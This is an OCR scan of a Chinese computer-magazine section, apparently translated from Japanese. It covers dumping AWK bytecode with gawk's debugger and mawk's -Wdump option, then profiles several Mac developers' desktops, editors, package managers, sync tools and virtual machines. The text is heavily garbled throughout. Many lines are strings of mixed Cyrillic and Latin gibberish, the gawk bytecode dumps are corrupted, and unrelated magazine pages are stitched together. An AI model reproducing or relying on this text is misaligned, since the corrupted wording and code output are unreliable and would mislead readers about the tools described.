后 在 各 种 各 样 的 环境 中 就 可 以 将 它 派 上 用 场 。 


а AWK BFD 


我 们 在 前 文中 提 到 了 gawk 和 mawk 都 使 用 
堆栈 硕 。 它 们 都 可 以 像 下 面 这 样 ， 将 堆栈 机 各 
的 学 节 公 导 出 。 

首先 是 gawk， 在 启动 时 我 们 光 加 -D 选 项 。 
之 后 在 调试 融 中 执行 dump 命令 ， 即 可 将 字 节 


















































高 手 教 你 用 sed/Awk ШРУЛР 
深入 AWK 编 程 Pona 


码 导 出 (图 9 )。 另 外 ，gawk 使 用 调试 需 模 式 时 
是 没有 办 法 指定 单行 脚本 为 对 象 的 ， 因 为 我 们 
必须 要 使 用 -f 参 数 指定 脚本 文件 。 所 以 ， 单 行 
脚本 的 字 市 码 是 没有 办 法 导出 的 。 

其 次 是 mawk， 在 指定 了 -Wdump 选项 之 
后 , 程序 并 不 会 执行 ,而 是 只 会 导出 字 节 码 (图 
10 )。mawk 不 仅 可 以 导出 脚本 文件 ， 也 可 以 导 
出 单行 脚本 。 

本 次 的 导出 示例 中 所 使 用 的 代码 '1' 以 
及 'fprintY'， 它 们 都 和 cat 命 令 有 着 一 样 的 行为 ， 
执行 之 后 的 结果 也 是 完全 一 样 的 。 但 是 不 论 是 
gawk 还 是 mawk， 两 者 从 代码 '1' 中 进行 导出 的 
步骤 数 都 比 另 外 一 条 代码 多 。 这 是 因为 ， 对 于 
代码 '1' 来 说 ， 有 着 添加 '{print}' 这 么 一 项 隐 式 
的 动作 ,所 以 总 共 的 代码 是 '1 {print}', m '{print}' 
则 没有 特别 的 模式 规则 , 所 以 它 还 是 '{fprint}j O. 
在 优化 以 及 调试 AWK 程 序 时 ， 参 考 导 出 的 字 
车 码 应 该 也 是 一 个 不 错 的 选择 外 。 

可 是 ， 对 比 mawk 和 gawk ЗЕ ЛИ ЛИЗ А, НП] 
以 发 现 ， 人 简单 、 快 速 的 mawk 和 多 功能 的 gawk 
有 种 截然 不 同 的 感觉 。 



































19 可 能 有 的 朋友 觉得 在 这 里 有 合适 的 情况 是 将 1 去 除 。 但 
实际 上 ， 绝 大 多 数 AWK 的 处 理 方式 都 不 是 最 优 的 。 除 了 
单纯 的 开发 人 力 不 足 以 外 ,说 不 定 还 有 别 的 原因 。 考 上 处 
到 AWK 的 实际 使 用 情况 ， 在 命令 行 中 几乎 都 是 一 瞬间 内 
执行 完成 的 。 即 使 使 用 了 最 佳 化 的 处 理 方式 ， 能 不 能 进 
一 步 减少 执行 时 间 也 是 一 个 未 知 数 。 而 且 本 来 对 于 有 着 
精简 语言 标准 的 AWK 来 说 ， 考 虑 到 速度 以 及 稳定 性 ， 复 
杂 的 最 佳 化 可 能 也 不 是 必要 的 。 

W 像 本 次 例子 这 样 的 情况 ， 即 使 字 节 码 的 步骤 数 较 多 一 些 ， 
通常 情况 下 我 们 也 应 该 使 用 '1'"。 相 对 于 计算 机 来 说 ， 人 
类 的 速度 要 慢 得 多 , 减少 输入 的 内 容 ， 能 够 帮助 我 们 尽 
时 完成 相应 的 处 理 。 
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从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 





У 9 从 gawk 中 导出 字 节 码 
$ cat 1.awk 二 显示 1.awk 中 的 内 容 
1 


以 调试 模式 启动 gawk 
ТТЕ Т EFH dump AS 27271515 


:0х2003+6441 Ор пем+1 (е : Ctarget_jmp = 0х2003+13с1 Ctarget_endfile = 
0x2003f150] 

Ltarget get record = 0х2003+#1781 
:0Ox2005f164] Ор по ор : 
:0x2003f268] Ор after beginfile 
:0Ox2005f178] Ор деї гесога : [target newfile = 0х2003+#644] 


# Rule 


:0x2005fc4c] Ор ги(е : Cin_rule = Rule] [Lsource file = 1. анк] 
:0х2003+1аді Ор риѕһ 1 : 1 CPERM|NUMCUR | NUMBER] 
:0х2003+1асЈ Ор јтр false : [Ltarget jmp = 0x2003f1c8] 
:0х2003+1#01 Ор К ргіпі гес : Lredir уре = ""] 
:0х2003+1с81 Ор по ор : 

:0x2003f254] 0p_jmp : [Ltarget jmp = 0x2003f178] 
:0x2003f150] Ор по ор : 

:0x2003f240] Ор after _ endfilLe 

:0Ox2005f15c] Ор по ор 

:0х2003+18с1 Ор atexit 

:0х2003+#2021] Ор stop : 

dgawk> а 二 使 用 а 命令 退出 gawk 的 调试 模式 

$ cat print.awk < 一 显示 print.awk 中 的 内 容 

{print} 

Та ТСТ 一 以 调试 模式 启动 gawk 

ТТДС FA dump ERF HA 


жии и и гт гт гт гт гт MAM 


:0х2003+6441 Ор пем+1 (е : [target jmp = 0х2003+13с1 [Ltarget endfile = 
0х2003+#1501 


[їагдеї get гесога = 0х2003+#1781 


:0х2003+1641 Ор по ор 
:0х2003+2401 Ор after beginfile 
:0х2003+1781 Ор деї гесога : [target newfile = 0х2003+#644] 


# Rule 


:0Ox20035fc4c] Ор ги(е : Cin_rule = Rule] [Lsource file = print.awk] 
:0х2003+1аді ор K_print_rec : Сгеаїг type = ""] 
:0х2003+1с81 Ор по ор : 
:0x2003f22c] 0p_jmp : [Ltarget jmp = 0x2003f178] 
:0x2003f150] Ор по ор Е 
:0х2003+#2181 Ор after endfile 
:0х2003+13с1 Ор по ор 
:0х2003+18с1 Ор atexit 
:0х2003+1асЈ Ор stop : 
< а 命令 退出 gawk 的 调试 模式 


Өз О 四 门 四 四 四 四 四 гог 


У 10 从 mawk 中 导出 字 节 码 


$ mawk -Wdump '1' 和 二 使 用 -wdump 选 项 显示 字 节 码 
MAIN 

000 omain 

001 pushd 

003 jz 

005 pushint 

007 print 

009 ol_gl 

$ mawk -Wdump '{print}' 二 用 -Wdump 选 项 显示 字 节 三 
MAIN 

000 omain 

001 pushint 

003 print 

005 ol_gl 

$ 
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ЕТНА 
软件 工程 师 的 不 二 


观摩 个 性 十 足 的 桌面 
妨 不 住 想 要 效仿 ， 绞 尽 脑 汁 只 为 所 高 效率 


我 们 采访 要 并 观摩 了 他 们 的 开 友 环境 ( 蝎 面 )。 让 我 们 一 边 
信 听 这 些 专业 人 士 的 经 验 ， 一边 满怀 对 新 05 的 期 竺 准备 升级 吧 ! 








Мас 派 开 友 工 程 师 们 的 果 面 大 揭秘 ! 76 
Өл = MacBook IRIT? (ШЕ # Т) ааа а нео а 76 
CD 不] 人 AA ае 78 
ӨЧ =ОШ ЛБ ЕЕ АУЕ е) саана Е 80 
© ы гыт Ti a E E oo E 82 
Ө (Е мас Мер MAHARA ER (398658)... a a a 84 
@ 基于 欠 世 代 开 发 风格 Кыа ЖЕ Е mn 86 
O JRR VEL, Апагоіало5 WIER (211122)... К 88 
Ө HTA Er OE RRE NENE A EC 90 
© 定制 Mac 打 造 最 强 的 Terminal、Vim 和 Xcode 组 合 ( 所 友 太 )..ssesssssessssesesssstessstessseeessotessooessroeeseeossseeenssetesseeesse 92 


综合 使 用 Mac OS X 和 iPhone， 提 高 工作 效率 (和 田 裕 介 ) 


不 光 在 私人 事务 上 ， 在 工作 上 iPhone 也 是 一 个 非常 高 效 的 工具 。 现 在 我 把 工作 邮 
箱 也 关联 到 了 Gmail， 这 样 就 能 通过 iPhone 上 的 Gmail 应 用 来 查看 工作 邮件 了 。 而 且 我 
还 开启 了 邮件 的 来 件 通知 功能 ， 所 以 每 当 有 新 邮件 到 来 的 时 候 ， iPhone 都 会 友 出 “ 嘟 嘟 
的 震动 声 ( 笑 )， 昌 然 有 些 吵 ， 但 可 以 提醒 我 及 时 处 理 同 事 们 的 信件 ， 这 一 点 还 是 很 有 
魅力 的 。 我 用 滑动 输入 法 (flick input ) 已 经 很 长 时 间 了 ， 书 写 很 长 的 邮件 也 不 会 感到 





有 什么 压力 。 及 时 回复 邮件 能 够 提高 团队 的 整体 意识 ， 所 以 从 这 吕 来 说， 通过 iPhone 
回复 邮件 对 工作 还 是 非 划 有 帮助 的 。 

此 外 ， 作 为 被 用 来 和 开发 人 员 交 流 的 IRC 工 具 之 一 ，iO5 版 的 LimeChat 制 作 非常 精 
民 ， 笔 记 应 用 Day One 也 能 和 OSX 版 的 同步 ， 也 是 我 的 必 备 软件 之 一 。 


提醒 我 最 近 开 始 使 用 的 CI 服务 Travis СІ 
友 来 了 新 的 邮件 
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看 看 Mac 开 发 者 
的 果 面 是 怎样 的 
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| ”笔者 的 工作 人 台 。 最 近 刚 搬 到 了 镀 仓 的 新 办 公 地 扣 ， 基本 上 工作 需 


游牧 民族 





由 于 笔者 为 独立 开发 者 的 
原因 ， 所 以 很 少 有 机 会 去 国外 旅 
游 。 理 由 有 很 多 ， 比 如 担心 旅行 


е 


Кетч 带 着 MacBook 


”去 旅行 ? 


译 / 刘 斌 


要 的 东西 都 备 齐 71 





个 人 信息 


( WADA Yusuke ) 
@yusukebe 
Wadit 股 份 有 限 公司 总 经 理 

( http://wadit.jp/ ) 


1981 年 出 生 。Web 应 用 开发 工 
程 师 。 创 新 青年 ， 准 超级 创造 者 
( Unexplored Youth-Assistant 
Super Creator )。 在 omoroki 
股份 有 限 公 司 ( http://omoroki. 
com/ ) 担 任 CTO， 进 行 Web 应 
用 程序 的 开发 。 代 表 作 品 有 “你 
的 收音 机 "。 此 外 还 参与 了 知 
名 图 片 搞笑 网 站 bokete ( http:// 
bokete.jp/ ) 的 开发 。 








КШ ЛЕЛЕ в КЕЛЛЕ 
果 你 有 一 台 MacBook 电 脑 ， 为 
其 装 上 Mac OS X， 再 配置 一 个 
dd 你 就 完全 可 
只 随身 携带 一 个 背包 出 门 了 。 
с шы е 














中 服务 器 宕 机 了 不 能 及 时 处 理会 
造成 严重 后 果 等 ， 然 而 最 主要 的 
原因 还 是 没有 合适 的 机 会 。 但 是 
最 近 连 续 出 差 去 了 中国 台湾 4 天 ， 
美国 9 天 ， 也 开始 体会 到 在 世界 
各 地 飞 来 飞 去 的 乐趣 了 。 

在 国外 出 差 时 令 我 感到 惊 
奇 的 是 (虽然 话说 回来 也 是 理 
所 当然 的 )， 我 在 成 田 或 者 羽田 
机 场 租 借 一 个 移动 Wifi 6 ЕН л 
然后 在 目的 地 就 可 以 使 用 无 线 














某 条 大 街 上 ， 看 到 一 个 氛围 不 
错 的 咖啡 店 ， 你 就 可 以 进去 一 
ЕЭЗ, 0р, 
另外 ,只 要 用 你 的 iPhone 通过 
Wifi 路 由 连 上 网 络 ， 即 使 在 人 
生地 不 鸣 悉 的 地 方 ， 也 能 通过 
ТОШЕП 辟 用 避免 迷路 了 。 

近 有 一 个 新 名 词 叫 “ 游 
үз ”( Nomad Working )， 我 
目 己 也 经 常 在 咖啡 店 里 进行 开 
发 。 这 个 名 词 一 般 给 人 的 印象 





是 “在 附近 上 自己 喜欢 的 咖啡 馆 





баш Ee с сузу с 
种 工作 风格 。 而 如 果 有 机 会 去 
国外 工作 二 那么 是 不 是 可 以 叫 
作 “ 国 际 游牧 工作 ”了 呢 ?” 被 
誉 为 超 媒体 创作 者 (Hypermedia 
Creator ) 的 高 城 刚 先生 一 下 在 
世界 各 地 旅行 ,虽然 我 不 知 
ЖАТ РЕА, 但 是 看 


= 二 他 -过 得 很 充实 -很 快乐 o 
而 我 们 这 些 开 发 工程 师 拿 着 
MacBook 在 世界 各 地 一 边 旅游 
一 边 进 行 开发 也 不 赖 嘛 。 


笔者 的 开 上 友 环 境 





直到 一 个 月 之 前 我 使 用 的 





з MacBook Pro. X 
Из TERIS- (Н пу 
ВЕ: Н T RTI ERIR 
比较 大 所 以 ЖИ [© 
拿 去 苹果 售后 ,说 修理 的 话 要 
= EMR = 800 
对 Retina 屏 的 MacBook Pro 13 
情 有 独 钟 ， 所 以 就 趁 着 这 次 老 
ЛОЖИ, ЕК TME 
的 这 台 Retina 屏 АЈ МасВоок. 
现在 我 就 是 使 用 这 台新 买 的 电 
脑 写 这 篇 文章 的 。Retina 显示 
顺 上 字体 看 起 来 都 很 漂亮 ， 我 
目 己 也 感到 非常 的 满意 。 

我 开发 时 使 用 的 软件 主要 
是 用 于 进行 Web 应 用 测试 、 调 
试 的 各 种 浏览 硕 ， 终 端 软 件 的 
话 使 用 的 是 Mac OSX 自 带 的 
Terminal.app (终端 .app),。 虽然 
iTerm2 也 很 有 名 ， 不 过 我 也 没 
有 特别 需要 使 用 它 的 地 方 ， 所 
V ii B. t fE H OS X A E 
ЛН Г амо Н F 
































在 上 大 学 的 时 候 茶 些许 程 强制 








га. Кер ай 


METE 
CALTE 


Mac 的 桌面 。 基 本 什么 都 没有 放 。 一 般 我 都 是 使 用 13 
英寸 Retina 屏 MacBook Pro 来 工作 的 。 以 前 我 部 得 如 果 
显示 器 不 够 大 就 不 太 舒 服 ， 所 以 曾经 使 用 过 27 英 寸 和 
19 英 十 的 显示 器 组 合 ， 但 是 后 来 友 现 如 果 习 惯 了 的 话 ， 
13 英寸 屏 幕 的 电脑 已 经 能 够 完全 应 付 我 所 做 的 工作 了 


使 用 emacs， 所 以 现在 我 还 保 
持 着 原来 的 习惯 , 仍然 使 用 
emacs。 我 的 编码 工作 都 是 通 
过 在 Terminal 里 输 A emacs 命 
< 

系统 的 包 管 理工 具 我 使 
用 的 是 Homebrew， 用 它 来 安 
装 各 种 软件 和 库 。 在 安装 好 
Homebrew 之 后 ， 通 过 如 下 命令 


$ brew install mysql 


就 可 以 完成 MySQL 源 代码 的 
а. e ТЕ, ЗЕ 
方便 。 BARR EZ H Perl X% I 
ENO НР 5, (Н т Реп 1 











НЛА MD RH E 
Perlbrew, Perl REH 172589 
了 App::cpanminus， 各 项 目的 
库 管理 使 用 了 Carton。 前 些 天 
最 新 的 Perl1 5 fa ХЕ ЛА 5.18.0 发 
布 了 ,使 用 Perlbrew у, Н 
需 像 下 面 这 样 输入 


$ perlbrew install perl-5.18.0 





х 21 ifii 


/一 
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就 可 以 在 自己 的 用 户主 目录 下 
进行 最 新 代码 的 编译 ， 并 将 默 
认 版 本 切换 到 最 新 版 本 上 。 如 
果 你 想 安 装 Perl 的 类 生成 需 
(Class Builder )Mouse， 可 以 使 用 


App::cpanminus 的 cpanm 命令 。 


Carton 的 API 还 不 太 稳 定 ， 所 
以 这 里 我 们 就 不 做 详细 的 说 明 
了 。Carton 有 点 类 似 Ruby 里 的 
Bundler， 它 将 项 目 中 需要 的 各 
Ph CPAN 库 等 保存 到 文件 ,在 
Фито, ЭЕ тс 
的 库 束 会 被 下 载 并 安装 到 当前 
项 目的 文件 夹 下 ， 当 启动 项 目 
应 用 的 时 候 ， 只 需 使 用 系统 里 
的 模块 (Core Module ) 和 项 目 
独 目 需要 的 模块 就 可 以 了 。 此 
У, 6 ВЕЕ Е ЛЕ Л Д НЧ 
BUE Га] а, ЗЕ Е [ 
Carton， 还 可 以 方便 地 创建 库 
版 本 完全 一 致 的 开发 环境 。 











在 终端 里 运行 emacs 时 的 屏幕 。 这 里 使 用 了 MacOSX 
标准 的 Terminal.app， 通 过 tmux 创 建 了 多 个 面板 ， 并 在 
各 面板 之 间 进 行 了 切换 。screen 也 是 类 似 的 软件 ， 使 
用 该 软件 可 以 创建 出 类 似 于 浏览 器 中 的 “tab” 这 样 的 
дЕн ЕЕ БШ 
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给 你 们 看 看 我 的 桌面 | 
的 桌面 会 被 文档 和 开发 环境 相关 的 东西 堆 得 满 满 的 。 
桌面 环境 ， 我 可 以 添加 若干 个 工作 空间 ， 使 用 起 来 很 高 效 





在 外 面 和 家 里 都 使 用 
进行 开发 


我 是 以 购买 iPhone 手机 为 
HHL, М Windows 转 变 到 
Мас SN ыйсы Еси Р 
就 被 它 的 操作 性 和 设计 所 打动 
TO ЕКЕУ М, E 
ОШ 35000 Н А, 
也 感到 非常 舒服 。 由 于 我 当时 
正在 考虑 购买 一 台 人 台式 机 ,所 
V 55 T iMac, 使 用 Mac 的 
感觉 也 像 iPhone 那 样 ， 简 炼 、 
==. 

ТЕЗ Ег Не 
的 使 用 环境 。 我 在 购买 了 iMac 


Maci 











GD http://www.goodsync.com/ 








环境 


$ / АША, 


Ө 同步 控 和 他 的 虚拟 机 


个 人 信息 


(OHNO Wataru ) Starlight & Storm 成 员 、 
日 本 Spring 用 户 协 会 工作 人 员 

14 年 

3 年 

使 用 机 型 27 5 + іМас( Мі02010 ), 11% 3} 
MacBook Air 11( Mid 2011 ) 


主要 进行 面向 对 象 的 设计 、 实 现 相 关 的 
咨询 活动 。 著 有 《Spring 3 入 门 》( 合 著 )。 
作为 Mac 用 户 兼 爱 妻 者 ， 现 在 的 目标 是 让 


妻子 也 能 开始 使 用 Mac 机 器 ， 
为 结婚 5 周年 纪念 的 冲绳 旅行 。 


但 是 Mac 目 帝 了 虚拟 


之 后 ， 又 购买 了 MacBook Air, 
所 以 现在 不 管 是 在 家 里 ， 还 是 
在 外 面 , 我 都 在 使 用 Mac Ж 
统 。 但 是 有 了 两 合 Mac 之 后 ， 
就 出 现 了 在 两 侣 机 需 之 间 同 步 
数据 的 问题 。 作 为 有 力 的 解决 
方案 ， 您 怕 很 多 人 都 会 建议 使 
用 云 存储 服务 。 虽 说 当时 已 经 
有 了 Dropbox、SugarSync 等 各 
种 云 存储 服务 ， 但 是 笔者 的 同 
步 大 都 是 在 局 域 网 之 中 进行 
的 ， 如 采 使 用 基于 Internet 的 网 
络 存 储 服务 的 话 ， 效 率 势必 会 
很 低 ， 所 以 我 并 没有 选择 这 种 
案 。 在 对 能 满足 上 自己 要 求 的 
CI 











= 


以 及 实现 作 


终 我 选择 了 GoodSync 岂 这 个 应 
用 ， 直 到 现在 我 还 在 用 着 它 。 
GoodSync 需 要 为 每 台 安 装 它 
的 机 需 购 买 一 个 许可 证 ， 我 在 
iMac 上 安装 了 ne 并 
在 外 出 前 和 回 家 后 进行 文件 的 
[ШЕ 

МТА = 1927 Н 
候 ， 我 会 为 这 个 项 目 创建 一 个 
新 的 文件 夹 , 然后 将 整个 文件 
夹 设置 为 两 台 机 各 之 间 的 同步 
对 象 。 当 项 目 结束 的 时 候 ， 我 
会 在 MacBook Air 上 把 这 个 文 
件 夹 删除 ,这 样 就 可 以 市 约 
MacBook Air 的 空间 了 。 

ШЕЕ EA = 





{Е Мас ;2 [8]145 [5)2>. 


修改 的 部 分 


能 非常 强大 的 工具 
аЬ, МЕКУ, 627 


发 环境 的 配置 文件 等 各 种 各 
样 的 东西 ,所 以 我 把 iMac 和 
MacBook Air 整 体 的 文件 夹 结 
М) 1 ED AR Е, 这样 不 
管 在 家 里 还 是 在 外 面 就 都 可 以 
ШИШЕ ЕК A ЛҮ 
ч; 

A УР Йй. О д RBE Н 
Мас ЖУДА А 7217 Т.Е. Time 
Machine, 定期 (帮手 是 每 天 ) 
iMac 的 数据 备份 到 移动 便 盘 

o 这样 外 出 的 时 候 只 要 随身 
即便 是 还 
从 iMac 同步 过 来 的 文件 ， 也 
以 在 MacBook Air 上 使 用 。 





安 委 软件 开发 环 卉 





和 虚拟 机 


下 面 再 介绍 下 我 的 运行 环 
境 。 如 果 是 编码 完成 后 的 简单 
确认 、 单 元 测试 的 话 ， 只 使 用 
Eclipse 和 Tomcat 束 足够 了 ,但 
有 时 候 也 需要 使 用 和 生产 环境 








H F GoodSync R 
， 所 以 同步 的 效率 很 高 。 
Мас 的 文件 共享 协议 AFP， 以 及 5MB 和 和 FTP 协议 等 ， 
甚至 也 支持 和 云 存 储 服 务 进行 同步 ， 可 以 说 是 一 蒜 功 


同步 文件 被 
而 且 它 还 支持 


i 


很 接近 的 环境 ， 比 如 必须 在 
Linux 上 进行 测试 , 或 者 使 用 
Web Л 5-4% / ЛУ ЕН RI Ai / a 
JE IRI жох КЕ E ЩТ ЗЕ К ВЈ = 
层 染 构 进行 测试 ， 以 及 验证 集 
群 配置 情况 等 。 就 现在 的 主流 
做 法 来 说 ， 这 应 该 是 云 计 算 服 
务 大 显 身手 的 时 候 了 。 但 是 云 
服务 都 是 基于 互联 网 环境 的 服 
务 ， 和 在 线 云 存储 服务 一 样 ， 
效率 不 高 ， 这 也 是 我 不 想 采 用 
云 服 务 的 主要 原因 。 除 此 之 外 ， 
在 使 用 Iaas 的 时 候 还 必须 特别 
注意 网 络 安全 问题 ， 另 外 还 需 
要 耗费 一 定 的 Ж, 所 以 
ШЖ НАУ ЖЫП ЯШЕЛ ч 
测试 的 话 ， 我 感觉 使 用 云 计 算 
服务 有 点 大 材 小 用 。 

所 以 我 在 Mac 上 构建 了 
虚拟 的 开发 环境 。 虚拟 机 软 
件 我 使 用 的 是 VMware Fusion 
Professional Ss 

在 我 刚 买 iMac 的 时 候 ， 正 
好 最 新 版 的 Parallels Desktop ® 











本 地 预先 创建 供 Web 服 务 器 、 
СЕЕ. S ЕТ РИК т ы Ыы E 
要 创建 新 的 虚拟 机 的 时 候 ， 只 需 拷 由 


同时 启动 多 个 虚拟 机 。 作 为 基本 的 开 友 环境 ， 我 会 在 


应 用 服务 器 、 数 据 库 


ЕЖЕ 





Шр Г, ШН ЕЖ БАЕ 
йи ТЕ 250), ЛУФК Г 

pe A ШӘ ЙЫ 
目 需 要 用 到 VMware 环境， 而 





VMware Fusion 如 果 是 个 人 使 
用 的 话 ， 一 个 许可 证 可 以 用 在 


ZR Mac HLE, MARD 
X Г VMware Fusion 这 个 软件 。 

实际 创建 虚拟 机 环境 的 时 
候 也 非常 顺利 ， 没 有 什么 磋 确 
绊 绊 的 事情 发 生 。 当 一 个 项 目 
需要 使 用 虚拟 机 的 时 候 ， 就 拿 
一 个 做 好 的 虚拟 机 镜像 模板 找 
贝 过 来 ， 并 在 局 动 后 进行 项 目 
特有 的 配置 工作 就 可 以 了 。 而 
且 虚 拟 机 都 是 以 镜像 文件 方式 
保存 的 , 如 有 果 想 在 MacBook 
Air 上 运行 同一 个 虚拟 机 的 话 ， 
只 需要 通过 GoodSync 将 文件 
同步 到 MacBook Air, 就 可 以 
在 MacBook Air 上 使 用 这 个 虚 
拟 机 环境 了 。 








D 由 于 所 有 的 配置 也 是 共享 的 ， 所 以 在 MacBook Air 里 打开 Eclipse 的 时 候 ， 有 时 可 能 会 因为 使 用 了 iMac 下 面 的 设置 而 使 窗口 








的 尺 才 变 得 很 大 ， 吓 人 一 跳 。 所 以 需要 根据 情况 灵活 同步 。 
(3) http://www.vmware.com/products/desktop virtualization/fusion/professional.html 
(4) http://www.parallels.com/products/desktop/ 
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的 果 面 是 怎样 的 
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KZA, RÆ STELLATO 
的 法 人 代表 横山 彰 子 ， 目 前 正 
在 和 一 个 熟识 的 游戏 公司 一 起 
做 社交 游戏 的 开发 和 运营 。 

我 在 2007 年 秋天 购买 了 
黑色 的 MacBook， 取代 了 之 前 
使 用 的 Windows 笔 记 本 。 我 深 
深 地 被 MacBook 那 漂亮 的 字体 
所 打动 ， 从 那 之 后 就 一 下 使 用 
Mac 做 开发 。 

不 过 总 体 来 说 我 在 Mac 上 
安装 的 软件 或 开发 用 的 插件 应 
该 算 比 较 少 的 。Mac 的 应 用 也 





= 







$ / АША, 


笔者 的 工作 环境 。 以 13 英 十 MacBook Air 为 主 , 配 有 处 置 显示 器 , 实现 了 汉 显 示 器 配置 。 
图 中 正在 进行 的 是 在 一 个 终端 窗口 里 使 用 tmux 将 画面 分 割 为 多 个 面板 的 工作 


好 ，iOS 的 应 用 也 罢 ， 虽 然 有 
了 好 玩 的 新 应 用 时 我 都 会 第 一 
时 间 去 答 试 一 让 ， 但 如 果 不 用 
了 ， 我 会 立刻 鳃 载 这 个 软件 。 








我 使 用 的 是 Terminal.app， 





并 且 还 尽量 把 字体 弄 得 特别 
小 。 这 也 许 是 受到 了 国外 极 客 
们 的 有 影响。 此 外 ， 我 还 安装 了 
非常 适合 编程 用 的 字体 Ricty， 
这 个 字体 之 前 曾 在 网 上 火 了 一 
段 时 间 , 可 以 很 方便 地 通过 
Homebrew 来 安装 。 

虚拟 终端 管理 大 我 曾经 使 








ыз; 
Айыы = 


简约 而 不 简单 的 定制 


=. 


уты 


个 人 信息 


横山 朝子 ( YOKOYAMA Akiko ) 


@acotie 
STELLATO inc. 法 人 代表 


Mac 使 用 经 验 3 
8 年 


工作 经 历 比较 丰富 ， 做 过 Web 
服务 器 端的 程序 员 、Web 应 用 
工程 师 、 系 统 架 构 师 、 智 能 手 
机 游戏 开发 及 社交 游戏 开发 等 。 


用 过 GNU Screen, 但 是 现在 
已 经 转 回 使 用 tmux 了 。 人 快速 
№ 5) 2% Launcher Лу H) H 2 
使 用 过 Quick Silver， 现 在 使 用 
的 则 是 Alfred。 包 管理 工具 也 
从 Macports 转 到 了 Homebrew。 
选择 这 些 工 具 都 是 出 于 目 己 的 
S, ийле [А] Ж, АН ЖОЙ, 








算是 最 好 的 工具 ， 这 中 间 也 有 
— 6 ТАУ Н. 


虚拟 环境 





工作 上 我 使 用 VMware 
Fusion5。 比 如 搭建 Windows 7 
虚拟 机 进行 开发 、 测 试 ,通过 





创建 CentOS 虚拟 机 来 搭建 本 
地 UNIX 环境 等 。 

ЖУК, {ЕЛ УУ ТЕН 
用 到 了 MAMP。 在 /Applications/ 
MAMP/ 下 面 ， 可 以 简单 地 搭建 
Мас + Apache + PHP + MySQL 
的 开发 环境 。 并 且 因 为 能 够 定 
期 取得 快照 备份 ， 所 以 可 以 在 

` 52 Ци) MacBook 4 5 АУ 16 їл, 

ТАВНЖИ [Ж АУА 
拟 机 环境 ， 我 还 购买 了 EC2 等 
VPS 服 务 ， 这 样 在 外 出 办 公 的 
时 候 就 可 以 通过 SSH 登录 这 些 
服务 天 





文本 处 理 





文本 编辑 硕 我 用 过 很 多 种 ， 
最 初 使 用 的 是 Vim， 后 来 又 用 
了 MacVim ‚ МасУіт-Каогіуа, 
Sublime Text2、Coda2 等 。 现 
TE Xcode 的 项 目 都 使 用 Xcode， 
Xcode 以 外 的 情况 则 多 使 用 
Ут, 

Vim 和 Sublime Text2 的 优 
REDDERS ZLARI, R 
要 使 用 同一 份 配置 文件 ， 就 可 
以 在 任何 一 侣 机 着 上 部 受 同 样 
的 环境 。 在 安装 新 的 服务 需 或 
者 个 人 电脑 的 时 候 ， 可 以 直接 
找 贝 被 称 为 dotfiles 的 另 一 个 配 
置 文件 ， 这 样 新 机 需 的 环境 配 
置 就 会 和 原来 的 机 硕 一 模 一 样 
To 此 外 二 我 还 创建 了 很 多 配 
置 文件 的 模板 ,把 它们 存放 在 
Dropbox 或 BitBucket、GitHub 
等 地 方 ， 这 样 就 可 以 随时 随地 
使 用 这 些 配 置 文件 进而 定制 目 
已 的 开发 环境 了 。 











17! ГЕС Ө 简约 而 不 简单 的 定制 


-Áy 


其 他 定制 





我 也 在 使 用 binaryage 公司 开 

с; TotalSpaces 、TotalTerminal 

这 两 个 很 方便 的 工具 。 通 过 这 

两 个 工具 可 以 对 桌面 空间 进行 

详细 的 定制 ,也 可 以 通过 给 

Terminal 设置 快捷 键 ， 实 现 上 
下 滚动 式 的 动画 效果 。 

由 于 我 使 用 的 是 US 布局 

的 键盘 ,所 以 在 非常 有 多 的 





KeyRemap4Macbook 应 用 P, 
Fi t E £ A A A Command 键 
设置 为 片 假 名 /字母 数字 转换 ， 
并 启用 了 VI Моде, 
操作 。 


使 得 可 以 
行 全 部 的 滚屏 


一 


TE JFF Æ iOS ÙF XR AI TAR, 
有 很 多 对 图 片 进行 纹理 处 理 的 
工作 ， 这 时 候 我 使 用 的 是 包装 
工具 ( Packaging Tools ) Texture 
Packer 2х | #718, 
E о е 
放 到 一 个 文件 里 ， 还 能 选择 减 
色 处 理 或 者 压缩 格式 等 ， 最 后 
输出 为 供 framework 使 用 的 纹 
理 ( Texture ) 文件 。 

我 偶尔 也 会 使 用 Isolator 
| аара ЕЗИНЕ = 
中 精力 ,或 者 在 Steam 应 用 里 
购买 游戏 玩 玩 。 虽 说 里 面 也 有 
iOS/Android 的 游戏 ， 但 是 我 却 
W TripleTown 、Little Inferno, 
以 及 Team Fortress 2 这 样 的 3D 
的 FPS 游戏 。 




















笔者 竖 面 的 截屏 。 基 本 上 没 在 梨 面 上 摆 放 多 余 的 文件 





这 是 在 Steam.app 里 面 购买 的 Triple Town 的 截屏 。 


还 能 在 这 


里 面 购买 Indie Game: The Movie 这 部 纪录 片 ， 非 常 推 荐 这 个 


软件 
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Po 
“看 看 Mac 开 发 者 
的 果 面 是 怎样 的 


„Мас. 软件 工程 的 不 二 之 这 | 
ШШ =т=== аай 


网 络 工程 师 也 是 
Mac 派 


li AM , | 
- 译 / 刘 斌 
‚ее 
















个 人 信息 


西村 笃 ( NISHIMURA Atsushi ) 
IDC Frontier Inc. 股份 有 限 公司 

Mac 使 用 经 验 73 
iMac, MacBook Air 


在 2011 年 进入 现在 的 公司 之 前 ， 
在 上 上 一 家 公司 里 做 过 系统 软件 编 
程 。 现 在 的 工作 主要 是 骨干 网 的 设 
计 、 建 设 和 维护 。 





-m „ере = = чы 


яая 





笔者 的 桌面 周边 。 典 型 的 网 络 工程 师 配置 ，USB- 串口 转换 线 常年 必 备 
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携 市 方便 ， 


У ртр 


有 很 多 人 认为 使 用 Mac T 
作 的 都 是 设计 师 ， 其 实 并 不 是 
这 样 。 如 有 果 你 去 参加 网 络 工程 
师 的 聚会 ， 就 会 发 现 越 来 越 多 
的 人 都 开始 使 用 Mac (特别 是 
MacBook Air ) 了 。 我 想 这 是 不 
是 因为 网 络 工程 师 和 业内 同行 
Нс 2, П Мас ХХ 








英寸 MacBook Air( Mid2012 ). 
我 使 用 iMac 最 大 的 原因 就 是 它 
的 设计 非常 好 。 即 使 放 到 客厅 ， 
也 不 会 和 室内 家 具 、 装 饰 等 不 
协调 ， 反 而 融合 得 非常 好 。 操 
作 体 验 也 很 顺畅 ，OS X 的 启动 
速度 本 来 就 要 比 Windows 快 ， 
虽然 我 的 iMac 型 号 比较 老 ， 但 
是 由 于 我 已 经 把 HDD 换 成 了 
SSD, 所 以 局 动 也 很 快 ， 只 要 

